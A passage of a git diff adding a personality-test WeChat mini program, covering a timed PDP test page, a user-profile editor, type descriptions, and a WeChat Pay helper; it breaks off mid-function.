shuffleQuestions } = require('../../utils/questions') +const { pdpDescriptions } = require('../../utils/descriptions') +const app = getApp() + +Page({ + data: { + questions: [], + currentIndex: 0, + currentQuestion: null, + answers: {}, + selectedAnswer: null, + total: pdpQuestions.length, + answeredCount: 0, + progress: 0, + timeRemaining: 15 * 60, + formatTime: '15:00', + isSubmitting: false + }, + + timer: null, + + onLoad() { + const questions = shuffleQuestions(pdpQuestions) + this.setData({ questions, currentQuestion: questions[0] }) + this.startTimer() + }, + + onUnload() { + if (this.timer) clearInterval(this.timer) + }, + + startTimer() { + this.timer = setInterval(() => { + let time = this.data.timeRemaining - 1 + if (time <= 0) { + clearInterval(this.timer) + this.submitTest() + return + } + const minutes = Math.floor(time / 60) + const seconds = time % 60 + this.setData({ + timeRemaining: time, + formatTime: `${minutes}:${seconds < 10 ? '0' : ''}${seconds}` + }) + }, 1000) + }, + + getEmoji(value) { + const emojis = { Tiger: '🐅', Peacock: '🦚', Koala: '🐨', Owl: '🦉', Chameleon: '🦎' } + return emojis[value] || '🔹' + }, + + selectAnswer(e) { + const value = e.currentTarget.dataset.value + const questionId = this.data.currentQuestion.id + let answers = { ...this.data.answers } + answers[questionId] = value + + this.setData({ + selectedAnswer: value, + answers: answers, + answeredCount: Object.keys(answers).length, + progress: (Object.keys(answers).length / this.data.total) * 100 + }) + + setTimeout(() => { + if (this.data.currentIndex < this.data.total - 1) { + this.nextQuestion() + } + }, 300) + }, + + prevQuestion() { + if (this.data.currentIndex > 0) { + const newIndex = this.data.currentIndex - 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + nextQuestion() { + if (this.data.currentIndex < this.data.total - 1) { + const newIndex = this.data.currentIndex + 1 + const newQuestion = this.data.questions[newIndex] + this.setData({ + currentIndex: newIndex, + currentQuestion: newQuestion, + selectedAnswer: this.data.answers[newQuestion.id] || null + }) + } + }, + + submitTest() { + if (this.data.isSubmitting) return + this.setData({ isSubmitting: true }) + + const scores = { Tiger: 0, Peacock: 0, Koala: 0, Owl: 0, Chameleon: 0 } + Object.values(this.data.answers).forEach(value => { + if (scores.hasOwnProperty(value)) scores[value]++ + }) + + const total = Object.values(scores).reduce((sum, v) => sum + v, 0) + const percentages = {} + Object.keys(scores).forEach(key => { + percentages[key] = Math.round((scores[key] / total) * 100) + }) + + const dominantType = Object.entries(scores).sort((a, b) => b[1] - a[1])[0][0] + const secondaryType = Object.entries(scores).sort((a, b) => b[1] - a[1])[1][0] + + const resultData = { + scores, + percentages, + dominantType, + secondaryType, + description: pdpDescriptions[dominantType], + testDuration: 15 * 60 - this.data.timeRemaining, + completedAt: new Date().toISOString(), + // 便于后端留存完整答题过程 + answers: this.data.answers + } + + // 本地缓存 + 全局缓存 + wx.setStorageSync('pdpResult', resultData) + if (app && typeof app.saveTestResult === 'function') { + app.saveTestResult('pdp', resultData) + } + + wx.redirectTo({ url: '/pages/result/pdp' }) + } +}) diff --git a/miniprogram/pages/test/pdp.json b/miniprogram/pages/test/pdp.json new file mode 100644 index 0000000..a1bbe47 --- /dev/null +++ b/miniprogram/pages/test/pdp.json @@ -0,0 +1,6 @@ +{ + "navigationBarTitleText": "PDP测试", + "navigationBarBackgroundColor": "#F59E0B", + "navigationBarTextStyle": "white", + "usingComponents": {} +} diff --git a/miniprogram/pages/test/pdp.wxml b/miniprogram/pages/test/pdp.wxml new file mode 100644 index 0000000..b08dfdd --- /dev/null +++ b/miniprogram/pages/test/pdp.wxml @@ -0,0 +1,48 @@ + + + + + 问题 {{currentIndex + 1}}/{{total}} + 剩余时间: {{formatTime}} + + + + + + + + + {{currentQuestion.question}} + + + + + + {{option.text}} + + + + + + + + 上一题 + + + 跳过 + + + + + + {{isSubmitting ? '计算中...' : '完成测试,查看结果'}} + + + diff --git a/miniprogram/pages/test/pdp.wxss b/miniprogram/pages/test/pdp.wxss new file mode 100644 index 0000000..4db77fd --- /dev/null +++ b/miniprogram/pages/test/pdp.wxss @@ -0,0 +1,171 @@ +/* pages/test/pdp.wxss - 按旧版模板重构 */ +.test-page { + width: 100%; + min-height: 100vh; + display: flex; + flex-direction: column; + background-color: #fff; +} + +.progress-section { + padding: 32rpx; + border-bottom: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.progress-info { + display: flex; + justify-content: space-between; + align-items: center; + margin-bottom: 16rpx; +} + +.question-count { + font-size: 28rpx; + font-weight: 500; + color: #333; +} + +.time-remaining { + font-size: 28rpx; + color: #999; +} + +.progress-bar-container { + width: 100%; + height: 8rpx; + background-color: #e5e5e5; + border-radius: 8rpx; + overflow: hidden; +} + +.progress-bar { + height: 100%; + background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); + border-radius: 8rpx; + transition: width 0.3s ease; +} + +.content-area { + flex: 1; + overflow-y: auto; + padding: 32rpx; +} + +.question-card { + background-color: #fff; + border-radius: 24rpx; + padding: 48rpx; + box-shadow: 0 4rpx 12rpx rgba(0, 0, 0, 0.08); +} + +.question-text { + display: block; + font-size: 40rpx; + font-weight: 500; + color: #333; + line-height: 1.6; + margin-bottom: 48rpx; +} + +.options-container { + display: flex; + flex-direction: column; + gap: 32rpx; +} + +.option-item { + display: flex; + align-items: center; + padding: 32rpx; + border: 2rpx solid #e5e5e5; + border-radius: 16rpx; + transition: all 0.3s ease; +} + +.option-item.selected { + background-color: rgba(245, 158, 11, 0.12); + border-color: #F59E0B; +} + +.radio-button { + width: 40rpx; + height: 40rpx; + border-radius: 50%; + border: 2rpx solid #d1d5db; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; + flex-shrink: 0; +} + +.radio-button.checked { + background-color: #F59E0B; + border-color: #F59E0B; +} + +.radio-inner { + width: 16rpx; + height: 16rpx; + border-radius: 50%; + background-color: #fff; +} + +.option-text { + flex: 1; + font-size: 32rpx; + color: #333; + line-height: 1.5; +} + +.footer-buttons { + display: flex; + gap: 24rpx; + padding: 32rpx; + border-top: 1rpx solid #e5e5e5; + flex-shrink: 0; +} + +.nav-button { + flex: 1; + padding: 28rpx; + border-radius: 16rpx; + text-align: center; +} + +.nav-button.secondary { + background-color: #fff; + border: 2rpx solid #F59E0B; +} + +.nav-button.secondary .button-text { + color: #F59E0B; +} + +.nav-button.disabled { + opacity: 0.4; + pointer-events: none; +} + +.button-text { + font-size: 32rpx; + font-weight: 500; +} + +.submit-wrap { + padding: 0 32rpx 32rpx; +} + +.submit-button { + background: linear-gradient(135deg, #F59E0B 0%, #fbbf24 100%); + border-radius: 16rpx; + padding: 28rpx; + text-align: center; +} + +.submit-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} diff --git a/miniprogram/pages/user-profile/index.js b/miniprogram/pages/user-profile/index.js new file mode 100644 index 0000000..6aa4f98 --- /dev/null +++ b/miniprogram/pages/user-profile/index.js @@ -0,0 +1,205 @@ +// pages/user-profile/index.js - 个人资料页 +const app = getApp() +const { request } = require('../../utils/request') +const { bindPhoneByCode } = require('../../utils/phoneAuth') + +Page({ + data: { + userInfo: null, + nickname: '', + avatar: '', + birthday: '', + gender: 0, + genderIndex: 0, + genderText: '', + genderOptions: ['保密', '男', '女'], + phone: '', + avatarLetter: '我', + avatarBgColor: '#6366f1', + nicknameFocused: false, + saving: false + }, + + onLoad() { + this.loadUserInfo() + }, + + onShow() { + // 从其他页返回时刷新 + if (app.globalData.userInfo) { + this.loadUserInfo() + } + }, + + loadUserInfo() { + const userInfo = app.globalData.userInfo || wx.getStorageSync('userInfo') + if (!userInfo) { + wx.showToast({ title: '请先登录', icon: 'none' }) + setTimeout(() => wx.navigateBack(), 1500) + return + } + + const nickname = (userInfo.nickname || userInfo.nickName || '').trim() + const avatar = userInfo.avatar || userInfo.avatarUrl || '' + const birthday = userInfo.birthday || '' + const gender = (userInfo.gender !== undefined && userInfo.gender !== null) ? Number(userInfo.gender) : 0 + const genderText = this._genderText(gender) + const genderIndex = Math.min(Math.max(0, gender), 2) + const phone = userInfo.phone || '' + + const { avatarLetter, avatarBgColor } = this._avatarFromNickname(nickname || '我') + + this.setData({ + userInfo, + nickname, + avatar, + birthday, + gender, + genderIndex, + genderText, + phone, + avatarLetter, + avatarBgColor + }) + }, + + _genderText(g) { + const map = { 0: '保密', 1: '男', 2: '女' } + return map[g] || '保密' + }, + + _avatarFromNickname(name) { + const str = (name && String(name).trim()) || '我' + const letter = str.charAt(0).toUpperCase() || '我' + const palette = ['#6366f1', '#8b5cf6', '#ec4899', '#f43f5e', '#14b8a6', '#0ea5e9', '#3b82f6', '#eab308'] + let hash = 0 + for (let i = 0; i < str.length; i++) hash += str.charCodeAt(i) + const bgColor = palette[Math.abs(hash) % palette.length] + return { avatarLetter: letter, avatarBgColor: bgColor } + }, + + onChooseAvatar(e) { + const { avatarUrl } = e.detail + if (!avatarUrl || !app.globalData.token) { + wx.showToast({ title: '请先登录', icon: 'none' }) + return + } + wx.showLoading({ title: '上传中...' }) + const token = app.globalData.token + const apiBase = app.globalData.apiBase + wx.uploadFile({ + url: `${apiBase}/api/upload/image`, + filePath: avatarUrl, + name: 'file', + header: { 'Authorization': `Bearer ${token}` }, + success: (res) => { + const data = res.data + let json = {} + try { json = typeof data === 'string' ? JSON.parse(data) : data } catch (_) {} + if (json.code === 200 && json.data && json.data.url) { + const avatar = json.data.url + this.setData({ avatar }) + this._saveProfile({ avatar }) + } else { + wx.hideLoading() + wx.showToast({ title: json.message || '上传失败', icon: 'none' }) + } + }, + fail: () => { + wx.hideLoading() + wx.showToast({ title: '上传失败', icon: 'none' }) + } + }) + }, + + onGetPhoneNumber(e) { + const { errMsg, code } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + wx.showToast({ title: '需要授权手机号才能获取', icon: 'none' }) + return + } + if (!code) { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + bindPhoneByCode(code).then((user) => { + this.setData({ phone: user.phone || '' }) + }).catch(() => {}) + }, + + onNicknameRowTap() { + this.setData({ nicknameFocused: true }) + }, + + onNicknameBlur() { + this.setData({ nicknameFocused: false }) + }, + + onNicknameChange(e) { + const nickname = (e?.detail?.value || '').trim() + const { avatarLetter, avatarBgColor } = this._avatarFromNickname(nickname || '我') + this.setData({ nickname, avatarLetter, avatarBgColor }) + }, + + onBirthdayChange(e) { + const birthday = (e?.detail?.value || '').trim() + this.setData({ birthday }) + }, + + onGenderChange(e) { + const idx = parseInt(e?.detail?.value, 10) || 0 + const gender = idx + const genderText = this.data.genderOptions[idx] || '保密' + this.setData({ gender, genderIndex: idx, genderText }) + }, + + onSave() { + const { nickname, birthday, gender, userInfo } = this.data + const profile = {} + const origNickname = (userInfo?.nickname || userInfo?.nickName || '').trim() + const origBirthday = userInfo?.birthday || '' + const origGender = (userInfo?.gender !== undefined && userInfo?.gender !== null) ? Number(userInfo.gender) : 0 + if (nickname !== origNickname) profile.nickname = nickname + if (birthday !== origBirthday) profile.birthday = birthday + if (gender !== origGender) profile.gender = gender + if (Object.keys(profile).length === 0) { + wx.showToast({ title: '暂无修改', icon: 'none' }) + return + } + this._saveProfile(profile) + }, + + _saveProfile(profile) { + if (!app.globalData.token || !profile || Object.keys(profile).length === 0) return + if (this.data.saving) return + this.setData({ saving: true }) + wx.showLoading({ title: '保存中...' }) + request({ + url: '/api/auth/wechat/profile', + method: 'PUT', + data: profile, + success: (res) => { + wx.hideLoading() + this.setData({ saving: false }) + const payload = res && res.data + if (payload && payload.code === 200) { + const updated = { ...(app.globalData.userInfo || {}), ...(payload.data || {}), ...profile } + if (profile.nickname !== undefined) updated.nickname = profile.nickname + if (profile.avatar !== undefined) updated.avatar = profile.avatar + if (profile.birthday !== undefined) updated.birthday = profile.birthday + if (profile.gender !== undefined) updated.gender = profile.gender + app.globalData.userInfo = updated + wx.setStorageSync('userInfo', updated) + wx.showToast({ title: '已保存', icon: 'success' }) + } else { + wx.showToast({ title: payload?.message || '保存失败', icon: 'none' }) + } + }, + fail: () => { + wx.hideLoading() + this.setData({ saving: false }) + wx.showToast({ title: '网络错误', icon: 'none' }) + } + }) + } +}) diff --git a/miniprogram/pages/user-profile/index.json b/miniprogram/pages/user-profile/index.json new file mode 100644 index 0000000..3e10246 --- /dev/null +++ b/miniprogram/pages/user-profile/index.json @@ -0,0 +1,4 @@ +{ + "navigationBarTitleText": "个人资料", + "usingComponents": {} +} diff --git a/miniprogram/pages/user-profile/index.wxml b/miniprogram/pages/user-profile/index.wxml new file mode 100644 index 0000000..eb34425 --- /dev/null +++ b/miniprogram/pages/user-profile/index.wxml @@ -0,0 +1,66 @@ + + + + + + + 点击更换头像 + + + + 头像、昵称、手机号为必填项 + + + + + + 昵称 + + + + + + + 生日 + + {{birthday || '请选择生日'}} + + + + + + + + 性别 + + {{genderText}} + + + + + + + 手机号 + + + + + + + + diff --git a/miniprogram/pages/user-profile/index.wxss b/miniprogram/pages/user-profile/index.wxss new file mode 100644 index 0000000..edb6063 --- /dev/null +++ b/miniprogram/pages/user-profile/index.wxss @@ -0,0 +1,206 @@ +/* pages/user-profile/index.wxss */ +page { + background-color: #F9FAFB; +} + +.page { + min-height: 100vh; + padding: 32rpx; +} + +.profile-card { + background: #FFFFFF; + border-radius: 28rpx; + padding: 48rpx 36rpx; + box-shadow: 0 4rpx 24rpx rgba(0,0,0,0.05); +} + +.avatar-section { + display: flex; + flex-direction: column; + align-items: center; + margin-bottom: 48rpx; +} + +.avatar-btn { + width: 160rpx !important; + height: 160rpx !important; + padding: 0 !important; + margin: 0 !important; + background: transparent !important; + border: none !important; +} + +.avatar-btn::after { + border: none !important; +} + +.avatar-img { + width: 160rpx; + height: 160rpx; + border-radius: 50%; + display: block; + border: 4rpx solid #F3F4F6; +} + +.avatar-letter-wrap { + width: 160rpx; + height: 160rpx; + border-radius: 50%; + display: flex; + align-items: center; + justify-content: center; + border: 4rpx solid #F3F4F6; +} + +.avatar-letter { + font-size: 72rpx; + font-weight: 700; + color: #FFFFFF; +} + +.avatar-hint { + font-size: 24rpx; + color: #9CA3AF; + margin-top: 16rpx; +} + +.required-tip { + font-size: 24rpx; + color: #9CA3AF; + margin-bottom: 24rpx; + padding: 0 4rpx; +} + +.form-section { + border-top: 1rpx solid #F3F4F6; +} + +.form-item { + display: flex; + align-items: center; + padding: 32rpx 0; + border-bottom: 1rpx solid #F3F4F6; +} + +.form-item:last-child { + border-bottom: none; +} + +.form-label { + width: 140rpx; + font-size: 28rpx; + color: #6B7280; + flex-shrink: 0; +} + +.form-input { + flex: 1; + font-size: 30rpx; + color: #111827; + min-width: 0; +} + +.form-picker { + flex: 1; + font-size: 30rpx; + color: #111827; + min-width: 0; +} + +.form-value { + font-size: 30rpx; + color: #111827; +} + +.form-placeholder { + color: #9CA3AF; +} + +.form-readonly { + color: #9CA3AF; +} + +.form-picker { + display: flex; + align-items: center; + justify-content: space-between; + width: 100%; +} + +.form-arrow { + font-size: 36rpx; + color: #D1D5DB; + margin-left: 16rpx; + flex-shrink: 0; +} + +/* 整行可点击 */ +.form-item-tappable { + cursor: pointer; +} + +.form-item-tappable:active { + background: #F9FAFB; +} + +.form-item-readonly { + /* 仅展示,点击有提示 */ +} + +.form-item-readonly:active { + background: #F9FAFB; +} + +/* 手机号授权按钮 */ +.form-item-phone-auth { + padding: 0; +} + +.phone-auth-btn { + flex: 1; + display: flex; + align-items: center; + justify-content: space-between; + padding: 32rpx 0; + margin: 0; + background: transparent; + border: none; + text-align: left; +} + +.phone-auth-btn::after { + border: none; +} + +.phone-auth-text { + font-size: 30rpx; + color: #7C3AED; + font-weight: 500; +} + +.picker-full-row { + display: block; + width: 100%; +} + +/* 保存按钮 */ +.save-btn { + width: 100%; + margin-top: 48rpx; + padding: 28rpx; + font-size: 32rpx; + font-weight: 600; + color: #FFFFFF; + background: linear-gradient(135deg, #7C3AED 0%, #6366F1 100%); + border-radius: 16rpx; + border: none; +} + +.save-btn::after { + border: none; +} + +.save-btn[disabled] { + opacity: 0.6; +} diff --git a/miniprogram/project.config.json b/miniprogram/project.config.json new file mode 100644 index 0000000..0c5cdc2 --- /dev/null +++ b/miniprogram/project.config.json @@ -0,0 +1,51 @@ +{ + "miniprogramRoot": "", + "description": "MBTI/DISC/PDP性格测试系统 - 个人版与企业版", + "setting": { + "urlCheck": false, + "es6": true, + "enhance": true, + "postcss": true, + "preloadBackgroundData": false, + "minified": true, + "newFeature": true, + "coverView": true, + "nodeModules": false, + "autoAudits": false, + "showShadowRootInWxmlPanel": true, + "scopeDataCheck": false, + "uglifyFileName": false, + "checkInvalidKey": true, + "checkSiteMap": true, + "uploadWithSourceMap": true, + "compileHotReLoad": false, + "lazyloadPlaceholderEnable": false, + "useMultiFrameRuntime": true, + "babelSetting": { + "ignore": [], + "disablePlugins": [], + "outputPath": "" + }, + "useIsolateContext": true, + "userConfirmedBundleSwitch": false, + "packNpmManually": false, + "packNpmRelationList": [], + "minifyWXSS": true, + "disableUseStrict": false, + "showES6CompileOption": false, + "useCompilerPlugins": false, + "ignoreUploadUnusedFiles": true + }, + "compileType": "miniprogram", + "condition": {}, + "editorSetting": { + "tabIndent": "insertSpaces", + "tabSize": 4 + }, + "libVersion": "3.14.1", + "packOptions": { + "ignore": [], + "include": [] + }, + "appid": "wx3d15ed02e98b04e3" +} diff --git a/miniprogram/sitemap.json b/miniprogram/sitemap.json new file mode 100644 index 0000000..0c1a305 --- /dev/null +++ b/miniprogram/sitemap.json @@ -0,0 +1,7 @@ +{ + "desc": "关于本文件的更多信息,请参考文档 https://developers.weixin.qq.com/miniprogram/dev/framework/sitemap.html", + "rules": [{ + "action": "allow", + "page": "*" + }] +} diff --git a/miniprogram/utils/descriptions.js b/miniprogram/utils/descriptions.js new file mode 100644 index 0000000..bc2a9df --- /dev/null +++ b/miniprogram/utils/descriptions.js @@ -0,0 +1,44 @@ +// utils/descriptions.js - 测试结果描述 + +// MBTI类型描述 +const mbtiDescriptions = { + ISTJ: { type: "ISTJ", name: "检查员", category: "守护者", description: "务实、负责、可靠的传统主义者", strengths: ["可靠负责", "注重细节", "有条理"], weaknesses: ["可能过于固执", "不喜变化"], careers: ["会计师", "审计师", "项目经理"] }, + ISFJ: { type: "ISFJ", name: "保护者", category: "守护者", description: "安静、友好、负责任的守护者", strengths: ["忠诚体贴", "观察力强", "耐心"], weaknesses: ["不善拒绝", "过于谦虚"], careers: ["护士", "教师", "行政"] }, + INFJ: { type: "INFJ", name: "提倡者", category: "理想主义者", description: "寻求意义和联系的理想主义者", strengths: ["洞察力强", "有远见", "坚定"], weaknesses: ["过于理想化", "容易疲惫"], careers: ["心理咨询", "作家", "人力资源"] }, + INTJ: { type: "INTJ", name: "建筑师", category: "理想主义者", description: "独立、有战略眼光的思考者", strengths: ["战略思维", "独立自信", "意志坚定"], weaknesses: ["可能傲慢", "过于苛刻"], careers: ["战略顾问", "科学家", "架构师"] }, + ISTP: { type: "ISTP", name: "鉴赏家", category: "探险家", description: "灵活、务实的问题解决者", strengths: ["适应力强", "动手能力", "冷静"], weaknesses: ["可能冷漠", "不善表达"], careers: ["工程师", "技术员", "飞行员"] }, + ISFP: { type: "ISFP", name: "探险家", category: "探险家", description: "温和、敏感的艺术家", strengths: ["创造力", "同理心", "灵活"], weaknesses: ["过于敏感", "避免冲突"], careers: ["设计师", "艺术家", "摄影师"] }, + INFP: { type: "INFP", name: "调停者", category: "理想主义者", description: "理想主义、忠诚的调解者", strengths: ["创造力", "同理心", "真诚"], weaknesses: ["过于理想化", "情绪化"], careers: ["作家", "心理咨询", "社工"] }, + INTP: { type: "INTP", name: "逻辑学家", category: "理想主义者", description: "创新、逻辑的思考者", strengths: ["逻辑思维", "创新能力", "客观"], weaknesses: ["可能孤僻", "忽视情感"], careers: ["程序员", "研究员", "分析师"] }, + ESTP: { type: "ESTP", name: "企业家", category: "探险家", description: "精力充沛、务实的行动者", strengths: ["果断", "务实", "善于应变"], weaknesses: ["可能冲动", "缺乏耐心"], careers: ["销售", "企业家", "运动员"] }, + ESFP: { type: "ESFP", name: "表演者", category: "探险家", description: "热情、友好的社交达人", strengths: ["热情友好", "乐观", "灵活"], weaknesses: ["可能肤浅", "容易分心"], careers: ["演员", "销售", "主持人"] }, + ENFP: { type: "ENFP", name: "竞选者", category: "理想主义者", description: "热情、有创造力的社交者", strengths: ["创造力", "热情", "善于沟通"], weaknesses: ["可能不切实际", "缺乏专注"], careers: ["市场营销", "记者", "顾问"] }, + ENTP: { type: "ENTP", name: "辩论家", category: "理想主义者", description: "聪明、好奇的思想家", strengths: ["创新能力", "辩论能力", "适应力"], weaknesses: ["可能争辩", "不善执行"], careers: ["律师", "企业家", "咨询"] }, + ESTJ: { type: "ESTJ", name: "总经理", category: "守护者", description: "务实、果断的组织者", strengths: ["领导力", "组织能力", "务实"], weaknesses: ["可能专制", "不够灵活"], careers: ["管理者", "项目经理", "律师"] }, + ESFJ: { type: "ESFJ", name: "执政官", category: "守护者", description: "热心、合作的支持者", strengths: ["关心他人", "负责任", "善于合作"], weaknesses: ["过于在意评价", "不善拒绝"], careers: ["教师", "护士", "人力资源"] }, + ENFJ: { type: "ENFJ", name: "主人公", category: "理想主义者", description: "有魅力、鼓舞人心的领导者", strengths: ["领导力", "同理心", "说服力"], weaknesses: ["过于理想化", "过度付出"], careers: ["培训师", "顾问", "教师"] }, + ENTJ: { type: "ENTJ", name: "指挥官", category: "理想主义者", description: "大胆、有远见的领导者", strengths: ["领导力", "战略思维", "果断"], weaknesses: ["可能专制", "不耐烦"], careers: ["CEO", "企业家", "律师"] } +} + +// DISC类型描述 +const discDescriptions = { + D: { type: "D型", title: "支配型", color: "#EF4444", description: "天生的领导者,注重结果和效率", strengths: ["决断力强", "目标导向", "行动迅速"], weaknesses: ["可能过于强势", "缺乏耐心"], careers: ["企业高管", "创业者", "项目经理"] }, + I: { type: "I型", title: "影响型", color: "#F59E0B", description: "热情友好,善于社交和表达", strengths: ["善于沟通", "乐观积极", "创意丰富"], weaknesses: ["可能过于乐观", "注意力分散"], careers: ["市场营销", "公关", "培训师"] }, + S: { type: "S型", title: "稳健型", color: "#10B981", description: "稳重可靠,注重团队和谐", strengths: ["可靠稳定", "团队协作", "耐心倾听"], weaknesses: ["可能抗拒变化", "决策较慢"], careers: ["人力资源", "客户服务", "行政"] }, + C: { type: "C型", title: "谨慎型", color: "#3B82F6", description: "注重细节和准确性,追求完美", strengths: ["分析能力强", "注重细节", "准确严谨"], weaknesses: ["可能过于完美主义", "决策较慢"], careers: ["数据分析", "工程师", "会计师"] } +} + +// PDP类型描述 +const pdpDescriptions = { + Tiger: { type: "老虎型", emoji: "🐅", title: "支配者", color: "#F59E0B", description: "天生的领导者,具有强烈的目标导向和执行力", strengths: ["决断力强", "目标导向", "行动迅速"], weaknesses: ["可能过于强势", "缺乏耐心"], careers: ["企业高管", "创业者", "项目经理"], teamRole: "适合担任领导者角色" }, + Peacock: { type: "孔雀型", emoji: "🦚", title: "表现者", color: "#8B5CF6", description: "热情友好,善于表达和社交", strengths: ["善于沟通", "乐观积极", "影响力强"], weaknesses: ["可能过于乐观", "注意力分散"], careers: ["市场营销", "公关", "培训师"], teamRole: "适合担任激励者和调解者角色" }, + Koala: { type: "考拉型", emoji: "🐨", title: "支持者", color: "#10B981", description: "稳重可靠,注重团队和谐", strengths: ["可靠稳定", "团队协作", "善解人意"], weaknesses: ["可能抗拒变化", "决策较慢"], careers: ["人力资源", "客户服务", "教师"], teamRole: "适合担任协调者和支持者角色" }, + Owl: { type: "猫头鹰型", emoji: "🦉", title: "分析者", color: "#3B82F6", description: "注重细节和准确性,追求完美", strengths: ["分析能力强", "注重细节", "系统思维"], weaknesses: ["可能过于完美主义", "不善社交"], careers: ["数据分析师", "工程师", "研究员"], teamRole: "适合担任专家和质量控制者角色" }, + Chameleon: { type: "变色龙型", emoji: "🦎", title: "整合者", color: "#06B6D4", description: "适应能力强,能在不同情境中灵活调整", strengths: ["适应力强", "灵活多变", "平衡能力"], weaknesses: ["可能缺乏主见", "身份认同模糊"], careers: ["咨询顾问", "协调员", "自由职业者"], teamRole: "适合担任协调者和多面手角色" } +} + +module.exports = { + mbtiDescriptions, + discDescriptions, + pdpDescriptions +} diff --git a/miniprogram/utils/payment.js b/miniprogram/utils/payment.js new file mode 100644 index 0000000..c4e5f83 --- /dev/null +++ b/miniprogram/utils/payment.js @@ -0,0 +1,628 @@ +// miniprogram/utils/payment.js +// 微信支付工具类 - 复刻自Soul项目 + +const app = getApp() + +/** + * 生成符合微信规则的订单号 + * 规则示例:FACE20260226151900001(前缀+时间戳+随机数,最长不超过32位) + * @param {String} productType - 业务类型,如 face/mbti/disc/pdp/report/team_analysis/vip 等 + */ +function generateOrderId(productType) { + const now = new Date() + const pad = (n, len = 2) => String(n).padStart(len, '0') + const prefixMap = { + face: 'FACE', + mbti: 'MBTI', + disc: 'DISC', + pdp: 'PDP', + report: 'REPT', + team_analysis: 'TEAM', + vip: 'VIP', + test_count: 'TNUM', + single_test: 'TSGL', + recharge: 'RCG', + deep_personal: 'DPER', + deep_team: 'DTEAM' + } + + const prefix = prefixMap[productType] || (productType || 'ORD').toUpperCase().slice(0, 6) + const dateStr = + now.getFullYear().toString() + + pad(now.getMonth() + 1) + + pad(now.getDate()) + + pad(now.getHours()) + + pad(now.getMinutes()) + + pad(now.getSeconds()) + + // 3位随机数,避免重复,如 001~999 + const rand = pad(Math.floor(Math.random() * 1000), 3) + const raw = `${prefix}${dateStr}${rand}` // 示例:FACE20260226151900001 + + // 微信 out_trade_no 最长 32 字节,这里兜底截断 + return raw.length > 32 ? raw.slice(0, 32) : raw +} + +/** + * 发起微信支付 + * @param {Object} options - 支付选项 + * @param {String} options.orderId - 订单ID + * @param {Number} [options.amount] - 支付金额(分),部分产品使用(如充值/VIP/测试次数等);深度服务与按配置定价的产品传 0 或不传 + * @param {String} options.description - 商品描述 + * @param {String} options.productType - 商品类型: 'vip' | 'test_count' | 'single_test' | 'face' | 'mbti' 等 + * @param {Number} [options.testResultId] - 可选,对应 mbti_test_results.id,用于精确关联测试记录 + * @param {String} [options.deepProductId] - 可选,深度服务对应的套餐ID/产品Key,用于后台从 categories 中选中具体价格 + * @param {Function} options.success - 成功回调 + * @param {Function} options.fail - 失败回调 + */ +function wxPay(options) { + const { orderId, amount = 0, description, productType, testResultId, deepProductId, enterpriseId, success, fail } = options + + wx.showLoading({ + title: '正在支付...', + mask: true + }) + + // 1. 调用后端创建支付订单 + wx.request({ + url: `${app.globalData.apiBase}/api/payment/create`, + method: 'POST', + header: { + 'Authorization': `Bearer ${wx.getStorageSync('token')}`, + 'Content-Type': 'application/json' + }, + data: { + orderId, + amount, + description, + productType, + paymentMethod: 'wechat', + openId: app.globalData.openId || '', + enterpriseId: enterpriseId || 0, + // 创建订单时将本次测试记录ID传给后端,避免每次都只更新“最新一条” + testResultId: testResultId || 0, + // 深度服务使用的具体套餐ID/产品Key(用于从 categories 中选择价格) + deepProductId: deepProductId || '' + }, + success: (res) => { + wx.hideLoading() + + if (res.statusCode === 200 && res.data.code === 200) { + const paymentData = res.data.data + + // 2. 调起微信支付 + wx.requestPayment({ + timeStamp: paymentData.timeStamp, + nonceStr: paymentData.nonceStr, + package: paymentData.package, + signType: paymentData.signType || 'MD5', + paySign: paymentData.paySign, + success: (payRes) => { + console.log('支付成功', payRes) + + // 按照微信文档推荐,仅依赖查询接口确认支付结果,不做本地立即标记 + // 支付成功后轮询后端订单状态 3~5 次,确保通过微信订单查询接口确认成功 + pollOrderStatus(orderId, 5, 1000, (ok, order) => { + if (ok) { + wx.showToast({ + title: '支付成功', + icon: 'success', + duration: 2000 + }) + // 将本地订单信息一并透传给业务方 + success && success({ payRes, order }) + } else { + // 落库状态暂未确认,但微信侧已成功,一般稍后会自动对齐 + wx.showToast({ + title: '支付结果处理中,请稍后在历史中查看', + icon: 'none', + duration: 2500 + }) + success && success({ payRes, order: null }) + } + }) + }, + fail: (payErr) => { + console.error('支付失败', payErr) + + if (payErr.errMsg.indexOf('cancel') !== -1) { + wx.showToast({ + title: '支付已取消', + icon: 'none' + }) + } else { + wx.showToast({ + title: '支付失败', + icon: 'none' + }) + } + + fail && fail(payErr) + } + }) + } else { + wx.showToast({ + title: res.data.message || '创建订单失败', + icon: 'none' + }) + fail && fail(res) + } + }, + fail: (err) => { + wx.hideLoading() + console.error('请求失败', err) + + wx.showToast({ + title: '网络请求失败', + icon: 'none' + }) + + fail && fail(err) + } + }) +} + +/** + * 通知后端支付成功 + */ +function notifyPaymentSuccess(orderId, prepayId) { + wx.request({ + url: `${app.globalData.apiBase}/api/payment/notify`, + method: 'POST', + header: { + 'Authorization': `Bearer ${wx.getStorageSync('token')}`, + 'Content-Type': 'application/json' + }, + data: { + orderId, + prepayId, + status: 'success' + }, + success: (res) => { + console.log('支付通知成功', res) + }, + fail: (err) => { + console.error('支付通知失败', err) + } + }) +} + +/** + * 查询订单状态 + */ +function queryOrderStatus(orderId, callback) { + wx.request({ + url: `${app.globalData.apiBase}/api/payment/query`, + method: 'GET', + header: { + 'Authorization': `Bearer ${wx.getStorageSync('token')}` + }, + data: { orderId }, + success: (res) => { + if (res.statusCode === 200 && res.data.code === 200) { + callback && callback(true, res.data.data) + } else { + callback && callback(false, null) + } + }, + fail: () => { + callback && callback(false, null) + } + }) +} + +/** + * 按照微信文档建议:支付成功后,基于商户订单号轮询查询订单状态(本项目由后端代理查询) + * @param {String} orderId 商户订单号(如 FACE20260226151900001) + * @param {Number} maxAttempts 最大轮询次数 + * @param {Number} intervalMs 间隔毫秒 + * @param {Function} done 回调 (ok:boolean, order?:object) + */ +function pollOrderStatus(orderId, maxAttempts = 5, intervalMs = 